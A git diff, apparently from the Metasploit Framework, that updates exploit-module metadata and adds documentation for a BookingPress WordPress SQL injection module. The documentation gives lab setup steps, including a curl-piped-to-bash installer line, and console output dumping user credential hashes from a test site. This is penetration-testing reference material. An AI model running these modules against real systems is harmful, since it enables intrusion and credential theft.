"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
@@ -19791,7 +19791,7 @@
],
"targets": null,
"mod_time": "2022-10-28 14:16:49 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
@@ -21938,6 +21938,66 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/wp_bookingpress_category_services_sqli": {
"name": "Wordpress BookingPress bookingpress_front_get_category_services SQLi",
"fullname": "auxiliary/gather/wp_bookingpress_category_services_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-02-28",
"type": "auxiliary",
"author": [
"cydave",
"destr4ct",
"jheysel-r7"
],
"description": "The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data\n in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action\n (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.\n As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive\n data from the backend database such as usernames and password hashes.\n\n This module uses this vulnerability to dump the list of WordPress users and their associated\n email addresses and password hashes for cracking offline.",
"references": [
"URL-https://github.com/destr4ct/CVE-2022-0739",
"WPVDB-388cd42d-b61a-42a4-8604-99b812db2357",
"CVE-2022-0739"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-11-15 09:08:38 +0000",
"path": "/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb",
"is_install_path": true,
"ref_name": "gather/wp_bookingpress_category_services_sqli",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/wp_ultimate_csv_importer_user_extract": {
"name": "WordPress Ultimate CSV Importer User Table Extract",
"fullname": "auxiliary/gather/wp_ultimate_csv_importer_user_extract",
@@ -34317,7 +34377,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/http/smt_ipmi_static_cert_scanner",
@@ -35108,6 +35168,62 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/syncovery_linux_login": {
"name": "Syncovery For Linux Web-GUI Login Utility",
"fullname": "auxiliary/scanner/http/syncovery_linux_login",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jan Rude"
],
"description": "This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.",
"references": [
],
"platform": "Linux",
"arch": "",
"rport": 8999,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-09-16 13:34:06 +0000",
"path": "/modules/auxiliary/scanner/http/syncovery_linux_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/syncovery_linux_login",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/synology_forget_passwd_user_enum": {
"name": "Synology Forget Password User Enumeration Scanner",
"fullname": "auxiliary/scanner/http/synology_forget_passwd_user_enum",
@@ -35412,7 +35528,7 @@
"https"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-27 15:35:34 +0000",
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/tomcat_mgr_login",
@@ -47037,7 +47153,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enum",
@@ -47117,7 +47233,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enumshares",
@@ -47155,7 +47271,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enumusers",
@@ -51007,7 +51123,7 @@
"author": [
"RageLtMan <rageltman@sempervictus>"
],
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
"references": [
],
@@ -51021,7 +51137,7 @@
"dns"
],
"targets": null,
"mod_time": "2022-03-09 13:31:46 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/server/dns/native_server.rb",
"is_install_path": true,
"ref_name": "server/dns/native_server",
@@ -62895,7 +63011,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/linux/http/gravcms_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/gravcms_exec",
@@ -71132,7 +71248,7 @@
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-10-19 10:02:29 +0000",
"mod_time": "2022-11-23 13:09:47 +0000",
"path": "/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_cpio_cve_2022_41352",
@@ -71262,7 +71378,7 @@
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-08-17 10:19:36 +0000",
"mod_time": "2022-12-06 15:07:28 +0000",
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
@@ -74051,7 +74167,7 @@
"targets": [
"Automatic"
],
"mod_time": "2022-10-08 09:50:25 +0000",
"mod_time": "2022-11-25 15:13:57 +0000",
"path": "/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb",
"is_install_path": true,
"ref_name": "linux/local/polkit_dbus_auth_bypass",
@@ -74880,7 +74996,7 @@
"targets": [
"Auto"
],
"mod_time": "2022-10-03 16:53:14 +0000",
"mod_time": "2022-12-01 14:34:09 +0000",
"path": "/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/ubuntu_enlightenment_mount_priv_esc",
@@ -75061,6 +75177,66 @@
],
"needs_cleanup": true
},
"exploit_linux/local/vcenter_java_wrapper_vmon_priv_esc": {
"name": "VMware vCenter vScalation Priv Esc",
"fullname": "exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc",
"aliases": [
],
"rank": 0,
"disclosure_date": "2021-09-21",
"type": "exploit",
"author": [
"h00die",
"Yuval Lazar"
],
"description": "This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the\n /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the\n cis group to write to the file, which will execute as root on vmware-vmon service\n restart or host reboot.\n\n This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.\n The following versions should be vulnerable:\n vCenter 7.0 before U2c\n vCenter 6.7 before U3o\n vCenter 6.5 before U3q",
"references": [
"URL-https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/",
"CVE-2021-22015",
"URL-https://www.vmware.com/security/advisories/VMSA-2021-0020.html"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-12-01 14:55:43 +0000",
"path": "/modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/vcenter_java_wrapper_vmon_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes",
"ioc-in-logs"
],
"AKA": [
"vScalation"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/vmware_alsa_config": {
"name": "VMware Workstation ALSA Config File Local Privilege Escalation",
"fullname": "exploit/linux/local/vmware_alsa_config",
@@ -98550,7 +98726,7 @@
"Apache OpenOffice on Windows (PSH)",
"Apache OpenOffice on Linux/OSX (Python)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-11-30 22:10:18 +0000",
"path": "/modules/exploits/multi/misc/openoffice_document_macro.rb",
"is_install_path": true,
"ref_name": "multi/misc/openoffice_document_macro",
@@ -104558,7 +104734,7 @@
"Unix Command",
"BSD Dropper"
],
"mod_time": "2022-10-12 19:23:59 +0000",
"mod_time": "2022-10-24 14:17:21 +0000",
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
"is_install_path": true,
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
@@ -132172,7 +132348,7 @@
"John Page (aka hyp3rlinx)",
"Brenner Little"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
"references": [
"EDB-46188",
"URL-http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt",
@@ -132190,7 +132366,7 @@
"targets": [
"Windows"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/windows/fileformat/microsoft_windows_contact.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/microsoft_windows_contact",
@@ -141080,7 +141256,7 @@
"v9.2.0 - v9.2.1",
"v9.2.2 - v9.3.0-RC"
],
"mod_time": "2022-03-10 10:28:25 +0000",
"mod_time": "2022-12-04 17:50:24 +0000",
"path": "/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/dnn_cookie_deserialization_rce",
@@ -142075,6 +142251,79 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/exchange_proxynotshell_rce": {
"name": "Microsoft Exchange ProxyNotShell RCE",
"fullname": "exploit/windows/http/exchange_proxynotshell_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-09-28",
"type": "exploit",
"author": [
"Orange Tsai",
"Spencer McIntyre",
"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q",
"Piotr Bazydło",
"Rich Warren",
"Soroush Dalili"
],
"description": "This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.",
"references": [
"CVE-2022-41040",
"CVE-2022-41082",
"URL-https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend",
"URL-https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/",
"URL-https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9",
"URL-https://rw.md/2022/11/09/ProxyNotRelay.html"
],
"platform": "Windows",
"arch": "cmd, x64, x86",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Dropper",
"Windows Command"
],
"mod_time": "2022-11-28 10:06:14 +0000",
"path": "/modules/exploits/windows/http/exchange_proxynotshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxynotshell_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"AKA": [
"ProxyNotShell"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/exchange_proxyshell_rce": {
"name": "Microsoft Exchange ProxyShell RCE",
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
@@ -142128,7 +142377,7 @@
"Windows Dropper",
"Windows Command"
],
"mod_time": "2021-11-10 11:12:38 +0000",
"mod_time": "2022-12-02 15:55:10 +0000",
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxyshell_rce",
@@ -151711,7 +151960,7 @@
"targets": [
"Adobe Reader X 10.1.4 / Windows 7 SP1"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb",
"is_install_path": true,
"ref_name": "windows/local/adobe_sandbox_adobecollabsync",
@@ -152433,7 +152682,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_injection",
@@ -153093,7 +153342,7 @@
"unamer",
"timwr"
],
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
"references": [
"CVE-2019-1458",
"URL-https://github.com/unamer/CVE-2019-1458",
@@ -153113,7 +153362,7 @@
"targets": [
"Windows 7 x64"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2019_1458_wizardopium",
@@ -153449,7 +153698,7 @@
"targets": [
"Windows x64"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1313_system_orchestrator",
@@ -153457,6 +153706,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
"meterpreter"
@@ -153498,7 +153757,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1337_printerdemon",
@@ -153506,6 +153765,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
"meterpreter"
@@ -154558,7 +154827,7 @@
"Windows XP SP2 / SP3",
"Windows Server 2003 SP2"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-12-05 10:30:53 +0000",
"path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb",
"is_install_path": true,
"ref_name": "windows/local/ms11_080_afdjoinleaf",
@@ -154568,6 +154837,13 @@
"notes": {
"Stability": [
"crash-os-restarts"
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
@@ -161574,6 +161850,58 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/remote_control_collection_rce": {
"name": "Remote Control Collection RCE",
"fullname": "exploit/windows/misc/remote_control_collection_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-09-20",
"type": "exploit",
"author": [
"h00die",
"H4rk3nz0"
],
"description": "This module utilizes the Remote Control Server's, part\n of the Remote Control Collection by Steppschuh, protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.1.1.12, current at the time of module writing",
"references": [
"URL-http://remote-control-collection.com",
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 1926,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"default"
],
"mod_time": "2022-10-28 15:03:39 +0000",
"path": "/modules/exploits/windows/misc/remote_control_collection_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/remote_control_collection_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/misc/remote_mouse_rce": {
"name": "Remote Mouse RCE",
"fullname": "exploit/windows/misc/remote_mouse_rce",
@@ -206748,15 +207076,20 @@
"aliases": [
],
"rank": 0,
"rank": 300,
"disclosure_date": "2022-04-15",
"type": "post",
"author": [
"npm <npm@cesium137.io>"
"npm <npm@cesium137.io>",
"Erik Wynter",
"h00die"
],
"description": "Grab secrets and keys from the vCenter server and add them to\n loot. This module is tested against the vCenter appliance only;\n it will not work on Windows vCenter instances. It is intended to\n be run after successfully acquiring root access on a vCenter\n appliance and is useful for penetrating further into the\n environment following a vCenter exploit that results in a root\n shell.\n\n Secrets include the dcAccountDN and dcAccountPassword for\n the vCenter machine which can be used for maniuplating the SSO\n domain via standard LDAP interface; good for plugging into the\n vmware_vcenter_vmdir_ldap module or for adding new SSO admin\n users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with\n associated private keys are also plundered and can be used to\n sign forged SAML assertions for the /ui admin interface.",
"references": [
"URL-https://github.com/shmilylty/vhost_password_decrypt",
"CVE-2022-22948",
"URL-https://pentera.io/blog/information-disclosure-in-vmware-vcenter/",
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb"
],
"platform": "Linux,Unix",
"arch": "",
@@ -206764,7 +207097,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-11-01 17:33:14 +0000",
"mod_time": "2022-11-19 10:33:31 +0000",
"path": "/modules/post/linux/gather/vcenter_secrets_dump.rb",
"is_install_path": true,
"ref_name": "linux/gather/vcenter_secrets_dump",
@@ -206776,11 +207109,10 @@
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
"ioc-in-logs"
]
},
"session_types": [
@@ -211637,7 +211969,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-07-20 17:21:58 +0000",
"mod_time": "2022-11-29 21:28:15 +0000",
"path": "/modules/post/windows/gather/checkvm.rb",
"is_install_path": true,
"ref_name": "windows/gather/checkvm",
@@ -211645,9 +211977,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
@@ -216485,7 +216827,7 @@
"author": [
"mubix <mubix@hak5.org>"
],
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n specified SID and target host.",
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n for the specified SID and target host.",
"references": [
],
@@ -216495,7 +216837,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-12-04 15:10:47 +0000",
"path": "/modules/post/windows/gather/enum_proxy.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_proxy",
@@ -216503,9 +216845,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -219699,7 +220052,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/post/windows/manage/sticky_keys.rb",
"is_install_path": true,
"ref_name": "windows/manage/sticky_keys",
@@ -0,0 +1,220 @@
## Vulnerable Application
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
data from the backend database such as usernames and password hashes.
This module uses this vulnerability to dump the list of WordPress users and their associated
email addresses and password hashes for cracking offline.
### Setup
#### Ubuntu 20.04 with Docksal
Install Docksal:
```bash
sudo apt update
sudo apt install curl
bash <(curl -fsSL https://get.docksal.io)
sudo usermod -aG docker $USER
```
Reboot the VM (Docksal needs to be able to run `docker` without sudo).
```bash
msfuser@ubuntu:~$ fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf
2. What would you like to install?
PHP based
1. Drupal 9 (Composer Version)
2. Drupal 9 (BLT Version)
3. Drupal 9
4. Drupal 7
5. Wordpress
6. Magento
7. Laravel
8. Symfony Skeleton
9. Symfony WebApp
10. Grav CMS
11. Backdrop CMS
Go based
12. Hugo
JS based
13. Gatsby JS
14. Angular
HTML
15. Static HTML site
Custom
0. Custom git repository
Enter your choice (0-15): 5
Project folder: /home/msfuser/msf
Project software: Wordpress
Source repo: https://github.com/docksal/boilerplate-wordpress.git
Source branch: <default>
Project URL: http://msf.docksal
Do you wish to proceed? [y/n]: y
...
Success: WordPress installed successfully.
real 0m10.112s
user 0m0.327s
sys 0m0.061s
Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
DONE! Completed all initialization steps.
```
Download a vulnerable version of BookingPress:
`wget https://downloads.wordpress.org/plugin/bookingpress-appointment-booking.1.0.10.zip`
Navigate to the WordPress admin page that was just setup by Docksal at
http://msf-wp.docksal/wp-admin and log in with the username `admin` and password `admin`.
Navigate to `Plugins` on the left hand menu, then select `Add New` then select `Upload Plugin`.
Select `Browse...` and browse to the `bookingpress-appointment-booking.1.0.10.zip` file just downloaded, click `Install Now`.
You should see the following output in the browser:
```
Installing Plugin from uploaded file: bookingpress-appointment-booking.1.0.10.zip
Unpacking the package…
Installing the plugin…
Plugin installed successfully.
```
Click `Activate Plugin`.
The BookingPress plugin has to be in use on the WordPress site in order to exploit the vulnerability.
To activate it, follow the directions below:
1. Navigate to `/wp-admin/admin.php?page=bookingpress_services`.
1. Click `Manage Categories`, then click `+ Add New`, enter a `Category Name` and click `Save`.
1. Beside `Manage Services` click `+ Add New`, enter a `Service Name`, enter the Category you just created in the `Category` dropdown, enter a `Price` and click `Save`.
1. Select `+ New` at the top of the screen and then select `Page` from the dropdown to create a new WordPress page.
1. Paste `[bookingpress_form]` on the new page and click `publish`.
1. Navigate to `/bookingpress/` and you should see BookPress running with the Category / Service you created in step 1.
### Installation Notes
You may need to increase the size of file uploads to install the BookingPress plugin. To do this, you can use
https://wordpress.org/plugins/tuxedo-big-file-uploads/ or https://wordpress.org/plugins/wp-maximum-upload-file-size/
to increase the file upload size. I then had to some fiddling around since it may take some time for the changes
to be picked up. You may have success if you also install https://wordpress.org/plugins/custom-php-settings/, so
this is worth a shot if you are having issues.
## Verification Steps
1. Start msfconsole.
1. Do: `use auxiliary/gather/wp_bookingpress_category_services_sqli`.
1. Set the options `RHOSTS` to the target WordPress host IP address.
1. Set `RPORT` to the port that the target WordPress install is running on.
1. Set `BOOKING_PRESS_PAGE` to the path on the WordPress host where the BookingPress make a booking page is.
1. Verify visiting this URL shows "Select Category" and "Select Service" on the resulting page.
1. Run the module.
1. Receive a table of WordPress users and their associated email addresses and password hashes.
## Scenarios
### Booking Press 1.0.10, WordPress Running Via Docksal, Ubuntu 20.04
```
msf6 > use gather/wp_bookingpress_category_services_sqli
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rhosts localhost
rhosts => localhost
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rport 8000
rport => 8000
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
[*] Auxiliary module execution completed
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set AutoCheck false
AutoCheck => false
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
[!] AutoCheck is disabled, proceeding with exploitation
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
[*] Auxiliary module execution completed
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
```
### Booking Press 1.0.10, WordPress Latest Docker Image on Debian 11 (bullseye)
```
msf6 > use auxiliary/gather/wp_bookingpress_category_services_sqli
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI "/?page_id=10"
TARGETURI => /?page_id=10
